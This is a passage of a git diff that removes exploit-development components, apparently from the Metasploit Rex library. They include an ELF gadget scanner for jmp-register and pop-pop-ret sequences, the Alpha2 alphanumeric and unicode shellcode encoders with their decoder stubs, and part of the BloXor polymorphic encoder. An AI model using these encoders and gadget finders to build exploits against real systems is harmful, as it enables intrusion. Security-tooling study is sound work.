-end -end - -require 'rex/elfscan/scanner' -require 'rex/elfscan/search' diff --git a/lib/rex/elfscan/scanner.rb b/lib/rex/elfscan/scanner.rb deleted file mode 100644 index 989418d8af..0000000000 --- a/lib/rex/elfscan/scanner.rb +++ /dev/null @@ -1,226 +0,0 @@ -# -*- coding: binary -*- -require 'metasm' - -module Rex -module ElfScan -module Scanner -class Generic - - attr_accessor :elf, :regex - - def initialize(elf) - self.elf = elf - end - - def config(param) - end - - def scan(param) - config(param) - - $stdout.puts "[#{param['file']}]" - elf.program_header.each do |program_header| - - # Scan only loadable segment entries in the program header table - if program_header.p_type == Rex::ElfParsey::ElfBase::PT_LOAD - hits = scan_segment(program_header, param) - hits.each do |hit| - rva = hit[0] - message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1] - $stdout.puts elf.ptr_s(rva) + " " + message - if(param['disasm']) - message.gsub!("; ", "\n") - if message.include?("retn") - message.gsub!("retn", "ret") - end - - begin - d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble - rescue Metasm::ParseError - d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*')) - end - - addr = 0 - while ((di = d2.disassemble_instruction(addr))) - disasm = "0x%08x\t" % (rva + addr) - disasm << di.instruction.to_s - $stdout.puts disasm - addr = di.next_addr - end - end - end - end - - end - end - - def scan_segment(program_header, param={}) - [] - end -end - -class JmpRegScanner < Generic - - def config(param) - regnums = param['args'] - - # build a list of the call bytes - calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work.. - jmps = _build_byte_list(0xe0, regnums) - pushs1 = _build_byte_list(0x50, regnums) - pushs2 = _build_byte_list(0xf0, regnums) - - regexstr = '(' - if !calls.empty? - regexstr += "\xff[#{calls}]|" - end - - regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))" - - self.regex = Regexp.new(regexstr, nil, 'n') - end - - # build a list for regex of the possible bytes, based on a base - # byte and a list of register numbers.. - def _build_byte_list(base, regnums) - regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('') - end - - def _ret_size(offset) - case elf.read(offset, 1) - when "\xc3" - return 1 - when "\xc2" - return 3 - end - - raise "Cannot read at offset: #{offset}" - end - - def _parse_ret(data) - if data.length == 1 - return "ret" - else - return "retn 0x%04x" % data[1, 2].unpack('v')[0] - end - end - - - def scan_segment(program_header, param={}) - offset = program_header.p_offset - - hits = [] - - while (offset = elf.index(regex, offset)) != nil - - rva = elf.offset_to_rva(offset) - message = '' - - parse_ret = false - - byte1 = elf.read(offset, 1).unpack('C')[0] - - if byte1 == 0xff - byte2 = elf.read(offset+1, 1).unpack('C')[0] - regname = Rex::Arch::X86.reg_name32(byte2 & 0x7) - - case byte2 & 0xf8 - when 0xd0 - message = "call #{regname}" - offset += 2 - when 0xe0 - message = "jmp #{regname}" - offset += 2 - when 0xf0 - retsize = _ret_size(offset+2) - message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize)) - offset += 2 + retsize - else - raise "Unexpected value at #{offset}" - end - else - regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) - retsize = _ret_size(offset+1) - message = "push #{regname}; " + _parse_ret(elf.read(offset+1, retsize)) - offset += 1 + retsize - end - - hits << [ rva, message ] - end - - return hits - end -end - -class PopPopRetScanner < JmpRegScanner - - def config(param) - pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's... - self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n') - end - - def scan_segment(program_header, param={}) - offset = program_header.p_offset - - hits = [] - - while offset < program_header.p_offset + program_header.p_filesz && - (offset = elf.index(regex, offset)) != nil - - rva = elf.offset_to_rva(offset) - message = '' - - pops = elf.read(offset, 2) - reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack('C*')[0] & 0x7) - reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack('C*')[0] & 0x7) - - message = "pop #{reg1}; pop #{reg2}; " - - retsize = _ret_size(offset+2) - message += _parse_ret(elf.read(offset+2, retsize)) - - offset += 2 + retsize - - hits << [ rva, message ] - end - - return hits - end -end - -class RegexScanner < JmpRegScanner - - def config(param) - self.regex = Regexp.new(param['args'], nil, 'n') - end - - def scan_segment(program_header, param={}) - offset = program_header.p_offset - - hits = [] - - while offset < program_header.p_offset + program_header.p_filesz && - (offset = elf.index(regex, offset)) != nil - - idx = offset - buf = '' - mat = nil - - while (! (mat = buf.match(regex))) - buf << elf.read(idx, 1) - idx += 1 - end - - rva = elf.offset_to_rva(offset) - - hits << [ rva, buf.unpack("H*") ] - offset += buf.length - end - - return hits - end -end - -end -end -end diff --git a/lib/rex/elfscan/search.rb b/lib/rex/elfscan/search.rb deleted file mode 100644 index cd4a7a91c1..0000000000 --- a/lib/rex/elfscan/search.rb +++ /dev/null @@ -1,44 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module ElfScan -module Search - - class DumpRVA - attr_accessor :elf - - def initialize(elf) - self.elf = elf - end - - def config(param) - @address = param['args'] - end - - def scan(param) - config(param) - - $stdout.puts "[#{param['file']}]" - - # Adjust based on -A and -B flags - pre = param['before'] || 0 - suf = param['after'] || 16 - - @address -= pre - @address = 0 if (@address < 0 || ! @address) - buf = elf.read_rva(@address, suf) - $stdout.puts elf.ptr_s(@address) + " " + buf.unpack("H*")[0] - end - end - - class DumpOffset < DumpRVA - def config(param) - begin - @address = elf.offset_to_rva(param['args']) - rescue Rex::ElfParsey::BoundsError - end - end - end -end -end -end diff --git a/lib/rex/encoder/alpha2.rb b/lib/rex/encoder/alpha2.rb deleted file mode 100644 index 16eafab9d0..0000000000 --- a/lib/rex/encoder/alpha2.rb +++ /dev/null @@ -1,31 +0,0 @@ -# -*- coding: binary -*- - -# -# ________________________________________________________________________________ -# -# ,sSSs,,s, ,sSSSs, ALPHA 2: Zero-tolerance. (build 07) -# SS" Y$P" SY" ,SY -# iS' dY ,sS" Unicode-proof uppercase alphanumeric shellcode encoding. -# YS, dSb ,sY" Copyright (C) 2003, 2004 by Berend-Jan Wever. -# `"YSS'"S' 'SSSSSSSP -# ________________________________________________________________________________ -# - -# -# make sure the namespace is created -# - -module Rex -module Encoder -module Alpha2 -end end end - -# -# include the Alpha2 encodings -# - -require 'rex/encoder/alpha2/generic' -require 'rex/encoder/alpha2/alpha_mixed' -require 'rex/encoder/alpha2/alpha_upper' -require 'rex/encoder/alpha2/unicode_mixed' -require 'rex/encoder/alpha2/unicode_upper' diff --git a/lib/rex/encoder/alpha2/alpha_mixed.rb b/lib/rex/encoder/alpha2/alpha_mixed.rb deleted file mode 100644 index 11651ddc7f..0000000000 --- a/lib/rex/encoder/alpha2/alpha_mixed.rb +++ /dev/null @@ -1,129 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/alpha2/generic' - -module Rex -module Encoder -module Alpha2 - -class AlphaMixed < Generic - - # Generates the decoder stub prefix - # - # @param [String] reg the register pointing to the encoded payload - # @param [Fixnum] offset the offset to reach the encoded payload - # @param [Array] modified_registers accounts the registers modified by the stub - # @return [String] the alpha mixed decoder stub prefix - def self.gen_decoder_prefix(reg, offset, modified_registers = []) - if offset > 32 - raise 'Critical: Offset is greater than 32' - end - - mod_registers = [] - nop_regs = [] - mod_regs = [] - edx_regs = [] - - # use inc ebx as a nop here so we still pad correctly - if offset <= 16 - nop = 'C' * offset - nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? - - mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx - mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16 - mod_regs.concat(nop_regs) - mod_regs.push(Rex::Arch::X86::EDX) - - edxmod = 'J' * (17 - offset) - edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? - else - mod = 'A' * (offset - 16) - mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty? - - nop = 'C' * (16 - mod.length) - nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? - - mod << nop + '7QZ' - mod_regs.concat(nop_regs) - mod_regs.push(Rex::Arch::X86::EDX) - - edxmod = 'B' * (17 - (offset - 16)) - edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? - end - - regprefix = { - 'EAX' => 'PY' + mod, # push eax, pop ecx - 'ECX' => 'I' + mod, # dec ecx - 'EDX' => edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx - 'EBX' => 'SY' + mod, # push ebx, pop ecx - 'ESP' => 'TY' + mod, # push esp, pop ecx - 'EBP' => 'UY' + mod, # push ebp, pop ecx - 'ESI' => 'VY' + mod, # push esi, pop ecx - 'EDI' => 'WY' + mod, # push edi, pop ecx - } - - reg.upcase! - - unless regprefix.keys.include?(reg) - raise ArgumentError.new('Invalid register name') - end - - case reg - when 'EDX' - mod_registers.concat(edx_regs) - mod_registers.concat(nop_regs) - mod_registers.push(Rex::Arch::X86::ECX) - else - mod_registers.push(Rex::Arch::X86::ECX) - mod_registers.concat(mod_regs) - end - - mod_registers.uniq! - modified_registers.concat(mod_registers) - - return regprefix[reg] - end - - # Generates the decoder stub - # - # @param [String] reg the register pointing to the encoded payload - # @param [Fixnum] offset the offset to reach the encoded payload - # @param [Array] modified_registers accounts the registers modified by the stub - # @return [String] the alpha mixed decoder stub - def self.gen_decoder(reg, offset, modified_registers = []) - mod_registers = [] - - decoder = - gen_decoder_prefix(reg, offset, mod_registers) + - "jA" + # push 0x41 - "X" + # pop eax - "P" + # push eax - "0A0" + # xor byte [ecx+30], al - "A" + # inc ecx <--- - "kAAQ" + # imul eax, [ecx+42], 51 -> 10 | - "2AB" + # xor al, [ecx + 42] | - "2BB" + # xor al, [edx + 42] | - "0BB" + # xor [edx + 42], al | - "A" + # inc ecx | - "B" + # inc edx | - "X" + # pop eax | - "P" + # push eax | - "8AB" + # cmp [ecx + 42], al | - "uJ" + # jnz short ------------------------- - "I" # first encoded char, fixes the above J - - mod_registers.concat( - [ - Rex::Arch::X86::ESP, - Rex::Arch::X86::EAX, - Rex::Arch::X86::ECX, - Rex::Arch::X86::EDX - ]) - - mod_registers.uniq! - modified_registers.concat(mod_registers) - - decoder - end - -end end end end diff --git a/lib/rex/encoder/alpha2/alpha_upper.rb b/lib/rex/encoder/alpha2/alpha_upper.rb deleted file mode 100644 index d4258035d7..0000000000 --- a/lib/rex/encoder/alpha2/alpha_upper.rb +++ /dev/null @@ -1,138 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/alpha2/generic' - -module Rex -module Encoder -module Alpha2 - -class AlphaUpper < Generic - def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end - - # Generates the decoder stub prefix - # - # @param [String] reg the register pointing to the encoded payload - # @param [Fixnum] offset the offset to reach the encoded payload - # @param [Array] modified_registers accounts the registers modified by the stub - # @return [String] the alpha upper decoder stub prefix - def self.gen_decoder_prefix(reg, offset, modified_registers = []) - if offset > 20 - raise 'Critical: Offset is greater than 20' - end - - mod_registers = [] - nop_regs = [] - mod_regs = [] - edx_regs = [] - - # use inc ebx as a nop here so we still pad correctly - if (offset <= 10) - nop = 'C' * offset - nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? - - mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx - mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10 - mod_regs.concat(nop_regs) - mod_regs.push(Rex::Arch::X86::EDX) - - edxmod = 'J' * (11 - offset) - edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? - else - mod = 'A' * (offset - 10) - mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty? - - nop = 'C' * (10 - mod.length) - nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? - - mod << nop + 'QZ' - mod_regs.concat(nop_regs) - mod_regs.push(Rex::Arch::X86::EDX) - - edxmod = 'B' * (11 - (offset - 10)) - edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? - end - regprefix = { - 'EAX' => 'PY' + mod, # push eax, pop ecx - 'ECX' => 'I' + mod, # dec ecx - 'EDX' => edxmod + nop + 'RY', # mod edx,,, push edx, pop ecx - 'EBX' => 'SY' + mod, # push ebx, pop ecx - 'ESP' => 'TY' + mod, # push esp, pop ecx - 'EBP' => 'UY' + mod, # push ebp, pop ecx - 'ESI' => 'VY' + mod, # push esi, pop ecx - 'EDI' => 'WY' + mod, # push edi, pop ecx - } - - reg.upcase! - unless regprefix.keys.include?(reg) - raise ArgumentError.new("Invalid register name") - end - - case reg - when 'EDX' - mod_registers.concat(edx_regs) - mod_registers.concat(nop_regs) - mod_registers.push(Rex::Arch::X86::ECX) - else - mod_registers.push(Rex::Arch::X86::ECX) - mod_registers.concat(mod_regs) - end - - mod_registers.uniq! - modified_registers.concat(mod_registers) - - return regprefix[reg] - end - - # Generates the decoder stub - # - # @param [String] reg the register pointing to the encoded payload - # @param [Fixnum] offset the offset to reach the encoded payload - # @param [Array] modified_registers accounts the registers modified by the stub - # @return [String] the alpha upper decoder stub - def self.gen_decoder(reg, offset, modified_registers = []) - mod_registers = [] - - decoder = - gen_decoder_prefix(reg, offset, mod_registers) + - "V" + # push esi - "T" + # push esp - "X" + # pop eax - "30" + # xor esi, [eax] - "V" + # push esi - "X" + # pop eax - "4A" + # xor al, 41 - "P" + # push eax - "0A3" + # xor [ecx+33], al - "H" + # dec eax - "H" + # dec eax - "0A0" + # xor [ecx+30], al - "0AB" + # xor [ecx+42], al - "A" + # inc ecx <--------------- - "A" + # inc ecx | - "B" + # inc edx | - "TAAQ" + # imul eax, [ecx+41], 10 * | - "2AB" + # xor al [ecx+42] | - "2BB" + # xor al, [edx+42] | - "0BB" + # xor [edx+42], al | - "X" + # pop eax | - "P" + # push eax | - "8AC" + # cmp [ecx+43], al | - "JJ" + # jnz * -------------------- - "I" # first encoded char, fixes the above J - - mod_registers.concat( - [ - Rex::Arch::X86::ESP, - Rex::Arch::X86::EAX, - Rex::Arch::X86::ESI, - Rex::Arch::X86::ECX, - Rex::Arch::X86::EDX - ]) - - mod_registers.uniq! - modified_registers.concat(mod_registers) - - return decoder - end - -end end end end diff --git a/lib/rex/encoder/alpha2/generic.rb b/lib/rex/encoder/alpha2/generic.rb deleted file mode 100644 index 17f302261f..0000000000 --- a/lib/rex/encoder/alpha2/generic.rb +++ /dev/null @@ -1,90 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' - -module Rex -module Encoder -module Alpha2 - -class Generic - - # Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator - def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end - - def Generic.gen_decoder_prefix(reg, offset) - # Should never happen - have to pick a specifc - # encoding: - # alphamixed, alphaupper, unicodemixed, unicodeupper - '' - end - - def Generic.gen_decoder(reg, offset) - # same as above - return '' - end - - def Generic.gen_second(block, base) - # XOR encoder for ascii - unicode uses additive - (block^base) - end - - def Generic.encode_byte(block, badchars) - accepted_chars = default_accepted_chars.dup - - badchars.each_char {|c| accepted_chars.delete(c) } if badchars - - # No, not nipple. - nibble_chars = Array.new(0x10) {[]} - accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) } - - poss_encodings = [] - - block_low_nibble = block & 0x0F - block_high_nibble = block >> 4 - - # Get list of chars suitable for expressing lower part of byte - first_chars = nibble_chars[block_low_nibble] - - # Build a list of possible encodings - first_chars.each do |first_char| - first_high_nibble = first_char.unpack('C')[0] >> 4 - - # In the decoding process, the low nibble of the second char gets combined - # (either ADDed or XORed depending on the encoder) with the high nibble of the first char, - # and we want the high nibble of our input byte to result - second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F - - # Find valid second chars for this first char and add each combination to our possible encodings - second_chars = nibble_chars[second_low_nibble] - second_chars.each {|second_char| poss_encodings.push(second_char + first_char) } - end - - if poss_encodings.empty? - raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set" - end - - # Return a random encoding - poss_encodings[rand(poss_encodings.length)] - end - - def Generic.encode(buf, reg, offset, badchars = '') - encoded = gen_decoder(reg, offset) - - buf.each_byte { - |block| - - encoded << encode_byte(block, badchars) - } - - encoded << add_terminator() - - return encoded - end - - # 'A' signifies the end of the encoded shellcode - def Generic.add_terminator() - 'AA' - end - -end end end end - diff --git a/lib/rex/encoder/alpha2/unicode_mixed.rb b/lib/rex/encoder/alpha2/unicode_mixed.rb deleted file mode 100644 index 30ace46574..0000000000 --- a/lib/rex/encoder/alpha2/unicode_mixed.rb +++ /dev/null @@ -1,116 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/alpha2/generic' - -module Rex -module Encoder -module Alpha2 - -class UnicodeMixed < Generic - - def self.gen_second(block, base) - # unicode uses additive encoding - (block - base) - end - - def self.gen_decoder_prefix(reg, offset) - if (offset > 21) - raise "Critical: Offset is greater than 21" - end - - # offset untested for unicode :( - if (offset <= 14) - nop = 'CP' * offset - mod = 'IA' * (14 - offset) + nop # dec ecx,,, push ecx, pop edx - else - mod = 'AA' * (offset - 14) # inc ecx - nop = 'CP' * (14 - mod.length) - mod += nop - end - regprefix = { # nops ignored below - 'EAX' => 'PPYA' + mod, # push eax, pop ecx - 'ECX' => mod + "4444", # dec ecx - 'EDX' => 'RRYA' + mod, # push edx, pop ecx - 'EBX' => 'SSYA' + mod, # push ebx, pop ecx - 'ESP' => 'TUYA' + mod, # push esp, pop ecx - 'EBP' => 'UUYA' + mod, # push ebp, pop ecx - 'ESI' => 'VVYA' + mod, # push esi, pop ecx - 'EDI' => 'WWYA' + mod, # push edi, pop edi - } - - prefix = regprefix[reg.upcase] - if prefix.nil? - raise "Critical: Invalid register" - end - - return prefix - end - - def self.gen_decoder(reg, offset) - decoder = - gen_decoder_prefix(reg, offset) + - "j" + # push 0 - "XA" + # pop eax, NOP - "QA" + # push ecx, NOP - "DA" + # inc esp, NOP - "ZA" + # pop edx, NOP - "BA" + # inc edx, NOP - "RA" + # push edx, NOP - "LA" + # dec esp, NOP - "YA" + # pop ecx, NOP - "IA" + # dec ecx, NOP - "QA" + # push ecx, NOP - "IA" + # dec ecx, NOP - "QA" + # push ecx, NOP - "IA" + # dec ecx, NOP - "hAAA" + # push 00410041, NOP - "Z" + # pop edx - "1A" + # add [ecx], dh NOP - "IA" + # dec ecx, NOP - "IA" + # dec ecx, NOP - "J" + # dec edx - "1" + # add [ecx], dh - "1A" + # add [ecx], dh NOP - "IA" + # dec ecx, NOP - "IA" + # dec ecx, NOP - "BA" + # inc edx, NOP - "BA" + # inc edx, NOP - "B" + # inc edx - "Q" + # add [ecx], dl - "I" + # dec ecx - "1A" + # add [ecx], dh NOP - "I" + # dec ecx - "Q" + # add [ecx], dl - "IA" + # dec ecx, NOP - "I" + # dec ecx - "Q" + # add [ecx], dh - "I" + # dec ecx - "1" + # add [ecx], dh - "1" + # add [ecx], dh - "1A" + # add [ecx], dh NOP - "IA" + # dec ecx, NOP - "J" + # dec edx - "Q" + # add [ecx], dl - "YA" + # pop ecx, NOP - "Z" + # pop edx - "B" + # add [edx], al - "A" + # inc ecx <------- - "B" + # add [edx], al | - "A" + # inc ecx | - "B" + # add [edx], al | - "A" + # inc ecx | - "B" + # add [edx], al | - "A" + # inc ecx | - "B" + # add [edx], al | - "kM" + # imul eax, [eax], 10 * | - "A" + # add [edx], al | - "G" + # inc edi | - "B" + # add [edx], al | - "9" + # cmp [eax], eax | - "u" + # jnz ------------------ - "4JB" - - return decoder - end - -end end end end diff --git a/lib/rex/encoder/alpha2/unicode_upper.rb b/lib/rex/encoder/alpha2/unicode_upper.rb deleted file mode 100644 index e3f433e629..0000000000 --- a/lib/rex/encoder/alpha2/unicode_upper.rb +++ /dev/null @@ -1,123 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/alpha2/generic' - -module Rex -module Encoder -module Alpha2 - -class UnicodeUpper < Generic - def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end - - def self.gen_second(block, base) - # unicode uses additive encoding - (block - base) - end - - def self.gen_decoder_prefix(reg, offset) - if (offset > 6) - raise "Critical: Offset is greater than 6" - end - - # offset untested for unicode :( - if (offset <= 4) - nop = 'CP' * offset - mod = 'IA' * (4 - offset) + nop # dec ecx,,, push ecx, pop edx - else - mod = 'AA' * (offset - 4) # inc ecx - nop = 'CP' * (4 - mod.length) - mod += nop - end - - regprefix = { # nops ignored below - 'EAX' => 'PPYA' + mod, # push eax, pop ecx - 'ECX' => mod + '4444', # dec ecx - 'EDX' => 'RRYA' + mod, # push edx, pop ecx - 'EBX' => 'SSYA' + mod, # push ebx, pop ecx - 'ESP' => 'TUYA' + mod, # push esp, pop ecx - 'EBP' => 'UUYA' + mod, # push ebp, pop ecx - 'ESI' => 'VVYA' + mod, # push esi, pop ecx - 'EDI' => 'WWYA' + mod, # push edi, pop edi - '[ESP]' => 'YA' + mod + '44', # - '[ESP+4]' => 'YUYA' + mod, # - } - - return regprefix[reg] - end - - def self.gen_decoder(reg, offset) - decoder = - gen_decoder_prefix(reg, offset) + - "QA" + # push ecx, NOP - "TA" + # push esp, NOP - "XA" + # pop eax, NOP - "ZA" + # pop edx, NOP - "PU" + # push eax, NOP - "3" + # xor eax, [eax] - "QA" + # push ecx, NOP - "DA" + # inc esp, NOP - "ZA" + # pop edx, NOP - "BA" + # inc edx, NOP - "RA" + # push edx, NOP - "LA" + # dec esp, NOP - "YA" + # pop ecx, NOP - "IA" + # dec ecx, NOP - "QA" + # push ecx, NOP - "IA" + # dec ecx, NOP - "QA" + # push ecx, NOP - "PA" + # push eax, NOP - "5AAA" + # xor eax, 41004100 - NOP - "PA" + # push eax, NOP - "Z" + # pop edx - "1A" + # add [ecx], dh - NOP - "I" + # dec ecx - "1A" + # add [ecx], dh - NOP - "IA" + # dec ecx, NOP - "IA" + # dec ecx, NOP - "J" + # dec edx - "1" + # add [ecx], dh - "1A" + # add [ecx], dh - NOP - "IA" + # dec ecx, NOP - "IA" + # dec ecx, NOP - "XA" + # pop eax, NOP - "58AA" + # xor eax, 41003800 - NOP - "PA" + # push eax, NOP - "ZA" + # pop edx, NOP - "BA" + # inc edx, NOP - "B" + # inc edx - "Q" + # add [ecx], dl - "I" + # dec ecx - "1A" + # add [ecx], dh - NOP - "I" + # dec ecx - "Q" + # add [ecx], dl - "IA" + # dec ecx, NOP - "I" + # dec ecx - "Q" + # add [ecx], dl - "I" + # dec ecx - "1" + # add [ecx], dh - "1" + # add [ecx], dh - "1" + # add [ecx], dh - "1A" + # add [ecx], dh - NOP - "IA" + # dec ecx, NOP - "J" + # dec edx - "Q" + # add [ecx], dl - "I" + # dec edx - "1A" + # add [ecx], dh - NOP - "YA" + # pop ecx, NOP - "ZB" + # pop edx, NOP - "AB" + # inc ecx, NOP <------- - "AB" + # inc ecx, NOP | - "AB" + # inc ecx, NOP | - "AB" + # inc ecx, NOP | - "30" + # imul eax, [ecx], 10 * | - "A" + # add al, [ecx+2] * | - "P" + # mov [edx], al * | - "B" + # inc edx | - "9" + # cmp [ecx], 41 * | - "4" + # jnz -------------------- - "4JB" - - return decoder - end - -end end end end diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb deleted file mode 100644 index c16db29338..0000000000 --- a/lib/rex/encoder/bloxor/bloxor.rb +++ /dev/null @@ -1,327 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/poly/machine' - -module Rex - -module Encoder - - class BloXor < Msf::Encoder - - def initialize( *args ) - super - @machine = nil - @blocks_out = [] - @block_size = 0 - end - - # - # - # - def decoder_stub( state ) - - if( not state.decoder_stub ) - @blocks_out = [] - @block_size = 0 - - # XXX: It would be ideal to use a random block size but unless we know the maximum size our final encoded - # blob can be we should instead start with the smallest block size and go up to avoid generating - # anything too big (if we knew the max size we could try something smaller if we generated a blob too big) - #block_sizes = (1..state.buf.length).to_a.shuffle - #block_sizes.each do | len | - - 1.upto( state.buf.length ) do | len | - - # For now we ignore all odd sizes to help with performance (The rex poly machine - # doesnt have many load/store primitives that can handle byte sizes efficiently) - if( len % 2 != 0 ) - next - end - - blocks, size = compute_encoded( state, len ) - if( blocks and size ) - - # We sanity check that the newly generated block ammount and the block size - # are not in the badchar list when converted into a hex form. Helps speed - # things up a great deal when generating a decoder stub later as these - # values may be used throughout. - - if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) ) - next - end - - if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) ) - next - end - - @blocks_out = blocks - @block_size = size - - break - end - end - - raise RuntimeError, "Unable to generate seed block." if( @blocks_out.empty? ) - - state.decoder_stub = compute_decoder( state ) - end - - state.decoder_stub - end - - # - # - # - def encode_block( state, data ) - - buffer = '' - - @blocks_out.each do | block | - buffer << block.pack( 'C*' ) - end - - buffer - end - - protected - - # - # Is a number in its byte form valid against the badchars? - # - def number_is_valid?( state, number ) - size = 'C' - if( number > 0xFFFF ) - size = 'V' - elsif( number > 0xFF ) - size = 'v' - end - return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil? - end - - # - # Calculate Shannon's entropy. - # - def entropy( data ) - entropy = 0.to_f - (0..255).each do | byte | - freq = data.to_s.count( byte.chr ).to_f / data.to_s.length - if( freq > 0 ) - entropy -= freq * Math.log2( freq ) - end - end - return entropy / 8 - end - - # - # Compute the encoded blocks (and associated seed) - # - def compute_encoded( state, len ) - - blocks_in = ::Array.new - - input = '' << state.buf - - block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0 - - if( block_padding > 0 ) - 0.upto( block_padding-1 ) do - input << [ rand( 255 ) ].pack( 'C' ) - end - end - - while( input.length > 0 ) - blocks_in << input[0..len-1].unpack( 'C*' ) - input = input[len..input.length] - end - - seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) ) - - if( not seed ) - return [ nil, nil ] - end - - blocks_out = [ seed ] - - blocks_in.each do | block | - blocks_out << compute_block( blocks_out.last, block ) - end - - return [ blocks_out, len ] - end - - # - # Generate the decoder stub which is functionally equivalent to the following: - # - # source = &end; - # dest = source + BLOCK_SIZE; - # counter = BLOCK_COUNT * ( BLOCK_SIZE / chunk_size ); - # do - # { - # encoded = *(CHUNK_SIZE *)dest; - # dest += chunk_size; - # decoded = *(CHUNK_SIZE *)source; - # *(CHUNK_SIZE *)source = decoded ^ encoded; - # source += chunk_size; - # } while( --counter ); - # - # end: - # - def compute_decoder( state ) - - @machine.create_variable( 'source' ) - @machine.create_variable( 'dest' ) - @machine.create_variable( 'counter' ) - @machine.create_variable( 'encoded' ) - @machine.create_variable( 'decoded' ) - - chunk_size = Rex::Poly::Machine::BYTE - if( @machine.native_size() == Rex::Poly::Machine::QWORD ) - if( @block_size % Rex::Poly::Machine::QWORD == 0 ) - chunk_size = Rex::Poly::Machine::QWORD - elsif( @block_size % Rex::Poly::Machine::DWORD == 0 ) - chunk_size = Rex::Poly::Machine::DWORD - elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) - chunk_size = Rex::Poly::Machine::WORD - end - elsif( @machine.native_size() == Rex::Poly::Machine::DWORD ) - if( @block_size % Rex::Poly::Machine::DWORD == 0 ) - chunk_size = Rex::Poly::Machine::DWORD - elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) - chunk_size = Rex::Poly::Machine::WORD - end - elsif( @machine.native_size() == Rex::Poly::Machine::WORD ) - if( @block_size % Rex::Poly::Machine::WORD == 0 ) - chunk_size = Rex::Poly::Machine::WORD - end - end - - # Block 1 - Set the source variable to the address of the start block - @machine.create_block_primitive( 'block1', 'set', 'source', 'location' ) - - # Block 2 - Set the source variable to the address of the 1st encoded block - @machine.create_block_primitive( 'block2', 'add', 'source', 'end' ) - - # Block 3 - Set the destingation variable to the value of the source variable - @machine.create_block_primitive( 'block3', 'set', 'dest', 'source' ) - - # Block 4 - Set the destingation variable to the address of the 2nd encoded block - @machine.create_block_primitive( 'block4', 'add', 'dest', @block_size ) - - # Block 5 - Sets the loop counter to the number of blocks to process - @machine.create_block_primitive( 'block5', 'set', 'counter', ( ( @block_size / chunk_size ) * (@blocks_out.length - 1) ) ) - - # Block 6 - Set the encoded variable to the byte pointed to by the dest variable - @machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size ) - - # Block 7 - Increment the destination variable by one - @machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size ) - - # Block 8 - Set the decoded variable to the byte pointed to by the source variable - @machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size ) - - # Block 9 - Xor the decoded variable with the encoded variable - @machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' ) - - # Block 10 - store the newly decoded byte - @machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size ) - - # Block 11 - Increment the source variable by one - @machine.create_block_primitive( 'block11', 'add', 'source', chunk_size ) - - # Block 12 - Jump back up to the outer_loop block while the counter variable > 0 - @machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' ) - - # Try to generate the decoder stub... - decoder = @machine.generate - - if( not decoder ) - raise RuntimeError, "Unable to generate decoder stub." - end - - decoder - end - - # - # Compute the seed block which will successfully decode all proceeding encoded - # blocks while ensuring the encoded blocks do not contain any badchars. - # - def compute_seed( blocks_in, block_size, block_padding, badchars ) - seed = [] - redo_bytes = [] - - 0.upto( block_size-1 ) do | index | - - seed_bytes = (0..255).sort_by do - rand() - end - - seed_bytes.each do | seed_byte | - - next if( badchars.include?( seed_byte ) ) - - success = true - - previous_byte = seed_byte - - if( redo_bytes.length < 256 ) - redo_bytes = (0..255).sort_by do - rand() - end - end - - 